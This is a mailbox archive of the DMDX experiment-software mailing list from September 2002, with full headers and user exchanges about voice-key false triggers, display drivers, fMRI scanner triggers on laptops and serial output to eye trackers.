""pelma""/""pulga""/""lista""/""vista""/""pesca""/""lince""/*""tarro""/!; +14 ""vista""/""costa""/""galgo""/""lanza""/""santo""/ * ""cerro""/!; +15 ""banco""/""pinza""/""pinto""/""balsa""/""tilde""/""mundo""/ *""gorra""/!; +16 ""santo""/""pelma""/""lince""/""pista""/""pesca""/""lanza""/""renta""/*""torre""/!; $ 0 ""Thanks for your help!""; $ The written words appearing before the BMP are all primes for the picture which is the target whose RT I want to measure. In my case, a normal reaction time is recorded for about half the items, while for the other half, a RT of between 1-150 is registered. In fact, most of the time a correct RT alternates every other test item with an RT indicating a false trigger. I have tinkered with the VOX settings, the enhanced window time, etc. to no avail. I feel that ambient noise is not the problem either. I have also taken Dr. Hecht's advice and inserted before the clock '*', with the same results. If I run the test with the microphone unplugged, or plugged in sitting on the desk, all of the items show the expected 1200 ms timeout. It is also possible that the response to the last prime was still being pronounced when the target was presented, which could account for the false triggers, so I tried responding only to the BMP target, with the same results--about every other RT is a false trigger. I have also preamped the microphone and run it through the input channel, rather than the microphone channel of the sound card with the same results. I am running a Pentium IV, Windows 2000, and have a Creative Sound Blaster Live! Value sound card. If this problem with digital vox cannot be resolved, I would have no problem using an external VOX. I would appreciate it if someone could provide a sample script and instructions on how to do this through DMDX. Your help is appreciated in advance, =================== David Eddington Ortega Hall 235 University of New Mexico Albuquerque, NM 87131 Phone: (505) 277-5516 Fax: (505) 277-3885 =================== >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 09:31:10 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PGUSMS030070 for ; Wed, 25 Sep 2002 09:30:28 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D91B02600007726 for DMDX@psy1.psych.arizona.edu; Wed, 25 Sep 2002 09:28:48 -0700 Message-Id: <5.1.0.14.2.20020925092737.00b12840@psy1.psych.arizona.edu> Date: Wed, 25 Sep 2002 09:28:46 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: networkin computer In-Reply-To: <002401c2645d$d251af60$3d669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:36 PM 9/25/2002 +1000, you wrote: >Currently I am using a Laptop to run DMDX >I find that logging on as a stand alone computer, Dmdx runs OK ...If I log >on as a network computer I have problems The error message is pixel >incompatibility > >It not really a problem but wonder if someone has come across this also No that's a new one. My guess is that the hardware profile that enables the network also disables the display adapter or some part of it. What OS are you using? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ None love the bearer of bad news. - Sophocles >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 09:34:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PGXvMS030132 for ; Wed, 25 Sep 2002 09:33:57 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D91B026000079BB for DMDX@psy1.psych.arizona.edu; Wed, 25 Sep 2002 09:32:17 -0700 Message-Id: <5.1.0.14.2.20020925092952.00b12840@psy1.psych.arizona.edu> Date: Wed, 25 Sep 2002 09:32:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.01 and command line display In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:23 PM 9/25/2002 +0200, you wrote: >Problem: DMDX runs in ""white screen mode"", command line display not >visible. ""-display 1"" argument has no effect. > >* DMDX 3.0.0.01 >* single monitor / graphics card >* (only) one video driver detected >* Windows 98 >* simple DMDX script: plays some .wav files, no subject interaction, no >subject display. You'll have to figure out what display adapter is in the machine and find some new display drivers for it. >P.S. >1) I had a problem with a Keithley PIO-12 driverLINX pop up window a few >weeks ago -- solved the problem by simply uninstalling the Keithley programs. Not surprising, I don't call it Keithley crap for nothing. >2) Anyone running DMDX under a foreign language version of Windows should >be aware of the fact that you will have to use the native (non-english) >names for the mouse and keyboard devices when using the >function. E.g., to use a mouse in Swedish: or in Australia cheeky_rodent>. The native names are visible in the TimeDX ""Basic >Tests"" --> ""Input Test"". (although the input test also lists my Nokia >Monitor's inbuilt USB hub as an input device). This is expected behavior, it's documented somewhere or other. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ None love the bearer of bad news. - Sophocles >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 09:51:16 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PGoWMS030323 for ; Wed, 25 Sep 2002 09:50:32 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D91B02600008675 for DMDX@psy1.psych.arizona.edu; Wed, 25 Sep 2002 09:48:53 -0700 Message-Id: <5.1.0.14.2.20020925093852.00b12840@psy1.psych.arizona.edu> Date: Wed, 25 Sep 2002 09:48:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: False triggers with DigitalVOX In-Reply-To: <5.1.0.14.1.20020925084024.02561470@mail.unm.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hmm, sounds familiar but the last time we did anything with the VOX was eons ago so it's going to take me a while to remember what the problem was. Unless you're using a positively ancient version of DMDX it's not likely that there's an error in the code. IIRC I think the problem was resolved using the enhanced features of the vox and sampling energy over a number of milliseconds. Otherwise you can try using the RecordVocal device as well as DigitalVOX, it'll make DMDX record the utterance for whatever the timeout's duration is so it'll force slow pacing (and of course eat up gobs of hard disk space). At 10:22 AM 9/25/2002 -0600, you wrote: >I have also had problems with unwanted triggers, but not in the same way >as others have described. Here is my script: > > 255255255> >$ >0 ""Ready to start""; >$ >+11 ""falta""/""punto""/""palma""/""linda""/""donde""/""sonda""/ * >""perro""/!; >+12 ""pinza""/""mundo""/""pista""/""renta""/""tonto""/""fusta""/""mismo""/""pesca""/ >* ""barra""/!; >+13 ""pelma""/""pulga""/""lista""/""vista""/""pesca""/""lince""/*""tarro""/!; >+14 ""vista""/""costa""/""galgo""/""lanza""/""santo""/ * ""cerro""/!; >+15 ""banco""/""pinza""/""pinto""/""balsa""/""tilde""/""mundo""/ *""gorra""/!; >+16 ""santo""/""pelma""/""lince""/""pista""/""pesca""/""lanza""/""renta""/*300>""torre""/!; >$ >0 ""Thanks for your help!""; >$ > >The written words appearing before the BMP are all primes for the picture >which is the target whose RT I want to measure. In my case, a normal >reaction time is recorded for about half the items, while for the other >half, a RT of between 1-150 is registered. In fact, most of the time a >correct RT alternates every other test item with an RT indicating a false >trigger. I have tinkered with the VOX settings, the enhanced window time, >etc. to no avail. I feel that ambient noise is not the problem either. I >have also taken Dr. Hecht's advice and inserted before the clock >'*', with the same results. > >If I run the test with the microphone unplugged, or plugged in sitting on >the desk, all of the items show the expected 1200 ms timeout. It is also >possible that the response to the last prime was still being pronounced >when the target was presented, which could account for the false triggers, >so I tried responding only to the BMP target, with the same results--about >every other RT is a false trigger. I have also preamped the microphone and >run it through the input channel, rather than the microphone channel of >the sound card with the same results. > >I am running a Pentium IV, Windows 2000, and have a Creative Sound Blaster >Live! Value sound card. > >If this problem with digital vox cannot be resolved, I would have no >problem using an external VOX. I would appreciate it if someone could >provide a sample script and instructions on how to do this through DMDX. > >Your help is appreciated in advance, > >=================== >David Eddington >Ortega Hall 235 >University of New Mexico >Albuquerque, NM 87131 >Phone: (505) 277-5516 >Fax: (505) 277-3885 >=================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ None love the bearer of bad news. - Sophocles >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 10:47:36 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PHkmMS030487 for ; Wed, 25 Sep 2002 10:46:48 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D91B0260000B506 for DMDX@psy1.psych.arizona.edu; Wed, 25 Sep 2002 10:45:08 -0700 Message-Id: <5.1.0.14.2.20020925104409.00b12840@psy1.psych.arizona.edu> Date: Wed, 25 Sep 2002 10:45:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: False triggers with DigitalVOX In-Reply-To: <5.1.0.14.2.20020925093852.00b12840@psy1.psych.arizona.edu> References: <5.1.0.14.1.20020925084024.02561470@mail.unm.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:48 AM 9/25/2002 -0700, you wrote: >>I am running a Pentium IV, Windows 2000, and have a Creative Sound >>Blaster Live! Value sound card. Also, there was an _awful_ lot of trouble with that sound card's drivers under 2k/XP so update them before you do anything else. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ None love the bearer of bad news. - Sophocles >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 14:01:33 2002 Received: from kuma.unm.edu (kuma.unm.edu [129.24.9.36]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g8PL0ZMS030965 for ; Wed, 25 Sep 2002 14:00:35 -0700 Received: (qmail 24721 invoked by uid 0); 25 Sep 2002 14:58:55 -0600 Received: from davee@unm.edu by mail.unm.edu with qmail-scanner-0.96 (. Clean. Processed in 0.243874 secs); 25 Sep 2002 20:58:55 -0000 Received: from dhcp-168-0155.unm.edu (HELO dell-dimension-.unm.edu) (129.24.174.16) by kuma.unm.edu with SMTP; 25 Sep 2002 14:58:54 -0600 Message-Id: <5.1.0.14.1.20020925145748.0255a3a0@mail.unm.edu> Date: Wed, 25 Sep 2002 14:58:46 -0600 To: DMDX@psy1.psych.arizona.edu From: david eddington Subject: [DMDX] Re: False triggers with DigitalVOX In-Reply-To: <5.1.0.14.2.20020925104409.00b12840@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020925093852.00b12840@psy1.psych.arizona.edu> <5.1.0.14.1.20020925084024.02561470@mail.unm.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, Thanks for the advice. I installed updated drivers and the false triggers disappeared. >>>I am running a Pentium IV, Windows 2000, and have a Creative Sound >>>Blaster Live! Value sound card. > > > Also, there was an _awful_ lot of trouble with that sound card's > drivers under 2k/XP so update them before you do anything else. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > None love the bearer of bad news. > - Sophocles > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== =================== David Eddington Ortega Hall 235 University of New Mexico Albuquerque, NM 87131 Phone: (505) 277-5516 Fax: (505) 277-3885 =================== >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 15:52:23 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PMgvMS031242 for ; Wed, 25 Sep 2002 15:42:58 -0700 Received: from PYSCMASTERS06 ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g8PMfGY06795 for ; Thu, 26 Sep 2002 08:41:16 +1000 (EST) Message-ID: <000701c264e5$a908f4a0$706c9a89@PYSCMASTERS06> From: ""Arch Tibben"" To: References: <5.1.0.14.2.20020925092737.00b12840@psy1.psych.arizona.edu> Subject: [DMDX] Re: networkin computer Date: Thu, 26 Sep 2002 08:48:25 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi J windows 2000 arch ----- Original Message ----- From: ""j.c.f."" To: Sent: Thursday, September 26, 2002 2:28 AM Subject: [DMDX] Re: networkin computer > At 04:36 PM 9/25/2002 +1000, you wrote: > >Currently I am using a Laptop to run DMDX > >I find that logging on as a stand alone computer, Dmdx runs OK ...If I log > >on as a network computer I have problems The error message is pixel > >incompatibility > > > >It not really a problem but wonder if someone has come across this also > > No that's a new one. My guess is that the hardware profile that enables > the network also disables the display adapter or some part of it. What OS > are you using? > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > None love the bearer of bad news. > - Sophocles > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 21:55:16 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8Q4sAMS031940 for ; Wed, 25 Sep 2002 21:54:10 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D91B13C0002626F for DMDX@psy1.psych.arizona.edu; Wed, 25 Sep 2002 21:52:28 -0700 Message-Id: <5.1.0.14.2.20020925215023.00b12828@psy1.psych.arizona.edu> Date: Wed, 25 Sep 2002 21:52:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: networkin computer In-Reply-To: <000701c264e5$a908f4a0$706c9a89@PYSCMASTERS06> References: <5.1.0.14.2.20020925092737.00b12840@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hmm, haven't played with profiles at all under 2k, it's entirely possible that you're able to control drivers with profiles. So the dial up profile has good video drivers and the network profile has shoddy ones. You might check the version of the display driver in the device manager with each profile. If they're both the same I'm wrong and have to think of another explanation. At 08:48 AM 9/26/2002 +1000, you wrote: >Hi J >windows 2000 >arch >----- Original Message ----- >From: ""j.c.f."" >To: >Sent: Thursday, September 26, 2002 2:28 AM >Subject: [DMDX] Re: networkin computer > > > > At 04:36 PM 9/25/2002 +1000, you wrote: > > >Currently I am using a Laptop to run DMDX > > >I find that logging on as a stand alone computer, Dmdx runs OK ...If I >log > > >on as a network computer I have problems The error message is pixel > > >incompatibility > > > > > >It not really a problem but wonder if someone has come across this also > > > > No that's a new one. My guess is that the hardware profile that >enables > > the network also disables the display adapter or some part of it. What OS > > are you using? > > > > /""\\ > > -jonathan (j.c.f.) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 26 08:11:44 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8QFAiMS000737 for ; Thu, 26 Sep 2002 08:10:45 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id g8QF91u22413 for dmdx@psy1.psych.arizona.edu; Thu, 26 Sep 2002 17:09:01 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id g8QF8x322405 for ; Thu, 26 Sep 2002 17:09:00 +0200 (MEST) Received: from ALARIO (rec1193.psycho.univ-paris5.fr [172.21.40.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with ESMTP id RAA06774 for ; Thu, 26 Sep 2002 17:08:59 +0200 (MET DST) From: ""F.-Xavier ALARIO"" To: Subject: [DMDX] CONTROLLING AN FMRI SCANNER WITH A LAPTOP Date: Thu, 26 Sep 2002 17:08:46 +0200 Message-ID: <000701c2656e$9f5f0e10$c12815ac@ALARIO> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello all ! Here in the departement we are trying to run DMDX experiments while getting fMRI scans. For some technical reasons that are too long to explain we were trying to run dmdx experiments on a laptop. Our problem is that we are having trouble getting the TTL signals sent by the scanner on the laptop. Is there any way that PIO12 cards or any other valid device is pluged into a laptop? The laptop is a rather recent Dell Lattitude, it does not have a joystick port , but it has a parallell usb and pcmcia ports where cards might be adaptable. Thanks to all for your help Ps Matt davis' pages on the topic at http://www.mrc-cbu.cam.ac.uk/~matt.davis/fmri_dmdx.html are great, thanks for puting that on the www! F.-Xavier ALARIO Cognitive Neuroimaging Unit INSERM U-562 Service Hospitalier Fr�d�ric Joliot CEA/DRM/DSV 4 Place du g�n�ral Leclerc, 91401 Orsay CEDEX, France >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 26 08:34:02 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8QFY0MS000862 for ; Thu, 26 Sep 2002 08:34:00 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D9302D800004BC8 for DMDX@psy1.psych.arizona.edu; Thu, 26 Sep 2002 08:32:17 -0700 Message-Id: <5.1.0.14.2.20020926082419.00b12828@psy1.psych.arizona.edu> Date: Thu, 26 Sep 2002 08:32:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: CONTROLLING AN FMRI SCANNER WITH A LAPTOP In-Reply-To: <000701c2656e$9f5f0e10$c12815ac@ALARIO> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:08 PM 9/26/2002 +0200, you wrote: >Hello all ! > >Here in the departement we are trying to run DMDX experiments while >getting fMRI scans. For some technical reasons that are too long to >explain we were trying to run dmdx experiments on a laptop. Our problem >is that we are having trouble getting the TTL signals sent by the >scanner on the laptop. Is there any way that PIO12 cards or any other >valid device is pluged into a laptop? The laptop is a rather recent Dell >Lattitude, it does not have a joystick port , but it has a parallell usb >and pcmcia ports where cards might be adaptable. Use one the Computer Board PCMCIA cards: http://www.measurementcomputing.com/cbicatalog/directory.asp?dept%5Fid=156⊤%5Fid=10&dept%5Fname=Digital+I%2FO&mscssid=BD8ENCDD705B8NR87DW92KAGFBK2EUPB /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 26 08:50:50 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8QFokMS000978 for ; Thu, 26 Sep 2002 08:50:47 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id g8QFn0d28342 for dmdx@psy1.psych.arizona.edu; Thu, 26 Sep 2002 17:49:00 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id g8QFmw328334 for ; Thu, 26 Sep 2002 17:48:58 +0200 (MEST) Received: from ALARIO (rec1193.psycho.univ-paris5.fr [172.21.40.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with ESMTP id RAA08481 for ; Thu, 26 Sep 2002 17:48:58 +0200 (MET DST) From: ""F.-Xavier ALARIO"" To: Subject: [DMDX] RE : Re: CONTROLLING AN FMRI SCANNER WITH A LAPTOP Date: Thu, 26 Sep 2002 17:48:44 +0200 Message-ID: <000a01c26574$34b20990$c12815ac@ALARIO> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" In-Reply-To: <5.1.0.14.2.20020926082419.00b12828@psy1.psych.arizona.edu> Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list � � � Use one the Computer Board PCMCIA cards: � http://www.measurementcomputing.com/cbicatalog/directory.asp?dept%5Fid=1 56⊤%5Fid=10&dept%5Fname=Digital+I%2FO&mscssid=BD8ENCDD705B8NR87DW92KA GFBK2EUPB /""\\ I ll check that out Thanks a lot ! X. >From DMDX-owner@psy1.psych.arizona.edu Sat Sep 28 10:59:17 2002 Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8SHvwMS006288 for ; Sat, 28 Sep 2002 10:57:58 -0700 Received: from cpe-66-1-48-98.az.sprintbbd.net ([66.1.48.98] helo=kif1) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17vLp0-0004im-00 for DMDX@psy1.psych.arizona.edu; Sat, 28 Sep 2002 10:56:07 -0700 From: ""Kenneth Forster"" To: Subject: [DMDX] Output via serial port Date: Sat, 28 Sep 2002 10:56:05 -0700 Message-ID: <005601c26718$5767ed60$0701a8c0@kif1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0057_01C266DD.AB091560"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0057_01C266DD.AB091560 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit >From jjv@cs.columbia.edu Sat Sep 28 04:51:22 2002 Received: from smtp.popsite.net (smtp.popsite.net [216.126.128.19]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8SBpLMS005740 for ; Sat, 28 Sep 2002 04:51:22 -0700 I'm posting this on behalf of Jennifer Venditti jjv@cs.columbia.edu --k.i.f. Hello, I need to set up two PCs so that the presentation PC (running DMDX) communicates with a PC which is recording eye movements (using the ISCAN system). ISCAN only allows input from a serial port to be recorded in their output file. Is there any way to get DMDX to send a serial signal through a null modem cable to the ISCAN PC? The signal should be an integer (0-255, marking the item number), and should be synchronized with the onset of a sound file associated with the particular item. I've searched through the list archive and help pages, but haven't found the answer yet. Or maybe I'm looking at the wrong pages? Any help would be greatly appreciated! Thanks! Jennifer Venditti ------=_NextPart_000_0057_01C266DD.AB091560 Content-Type: text/html; charset=""US-ASCII"" Content-Transfer-Encoding: quoted-printable From jjv@cs.columbia.edu Sat Sep 28 = 04:51:22 = 2002 Received: from smtp.popsite.net (smtp.popsite.net [216.126.128.19])         = ;    by psy1.psych.arizona.edu (8.12.4/8.12.4) with = ESMTP id g8SBpLMS005740         = ;    for ; Sat, = 28 Sep 2002 = 04:51:22 = -0700   I'm posting this on behalf of Jennifer Venditti jjv@cs.columbia.edu         = ;    --k.i.f.     Hello,   I need to set up two PCs so that the presentation PC (running DMDX) communicates with a PC which is recording eye movements = (using the ISCAN system). ISCAN only allows input from a serial port to be = recorded in their output file. Is there any way to get DMDX to send a serial signal = through a null modem cable to the ISCAN PC? The signal should be an integer = (0-255, marking the item number), and should be synchronized with the onset of a = sound file associated with the particular item. I've searched through the list archive and help pages, but haven't found the answer yet. Or maybe I'm = looking at the wrong pages?   Any help would be greatly = appreciated! Thanks! Jennifer Venditti ------=_NextPart_000_0057_01C266DD.AB091560-- >From DMDX-owner@psy1.psych.arizona.edu Sat Sep 28 21:33:21 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8T4WmMS007348 for ; Sat, 28 Sep 2002 21:32:48 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D95A4A60000F0B5 for DMDX@psy1.psych.arizona.edu; Sat, 28 Sep 2002 21:30:58 -0700 Message-Id: <5.1.0.14.2.20020928212602.00b12828@psy1.psych.arizona.edu> Date: Sat, 28 Sep 2002 21:30:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Output via serial port In-Reply-To: <005601c26718$5767ed60$0701a8c0@kif1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:56 AM 9/28/2002 -0700, you wrote: >I need to set up two PCs so that the presentation PC (running DMDX) >communicates with a PC which is recording eye movements (using the ISCAN >system). ISCAN only allows input from a serial port to be recorded in >their output file. Is there any way to get DMDX to send a serial signal >through a null modem cable to the ISCAN PC? No. Not unless you want to sponsor a modification. >The signal should be an integer (0-255, marking the item number), and >should be synchronized with the onset of a sound file associated with the >particular item. I've searched through the list archive and help pages, >but haven't found the answer yet. Or maybe I'm looking at the wrong pages? No amount of document reading would help you I'm afraid. Not sure how serial devices are handled under win32 (never looked), they used to be file streams which means I wouldn't want to bank on their timing, maybe there's a low level interface lurking in there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sun Sep 29 22:35:19 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8U5YOMS009882 for ; Sun, 29 Sep 2002 22:34:25 -0700 Received: from a8o2y7 ([137.154.102.19]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g8U5WSY27493 for ; Mon, 30 Sep 2002 15:32:28 +1000 (EST) Message-ID: <001001c26841$91cd29a0$13669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] Double decisions Date: Mon, 30 Sep 2002 15:23:52 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000D_01C26895.62650A80"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C26895.62650A80 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I'm trying to write a program which require one of two responses. = When a response is made to a question (is this right?) the answer is = either yes or no. If ""no"" there is no further action required. However = if the response is yes, then a further response has to be made between A = and B. I have not worked with this decision chain before I would be grateful if = some one could direct me please=20 arend ------=_NextPart_000_000D_01C26895.62650A80 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi  I'm trying to write a program = which=20 require one of  two responses. When a response is made to a = question (is=20 this right?) the answer is either yes or no. If ""no"" there is no = further=20 action required. However if the response is yes, then a further response = has to=20 be made between A and B.   I have not worked with this decision = chain before I=20 would be grateful if some one could direct me please arend ------=_NextPart_000_000D_01C26895.62650A80-- >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 30 04:56:00 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8UBtYMS010633 for ; Mon, 30 Sep 2002 04:55:34 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id g8UBsQXO003509 for ; Mon, 30 Sep 2002 13:54:26 +0200 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Mon, 30 Sep 2002 13:53:37 +0200 Message-Id: Date: Mon, 30 Sep 2002 13:53:30 +0200 From: ""Derek Eder"" To: Subject: [DMDX] DMDX 3.0.0.01 command display whiteout Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is probably more of a warning than (another) cry for help, but, I still cannot get my old DEC Venturis 575 PC with its S3 TRIO 32/64 PCI video card to display the command display (or anything else) while DMDX is running an item file. The driver is the latest that Windows 98/Microsoft recognizes and the beast is running with DirectX 8.1 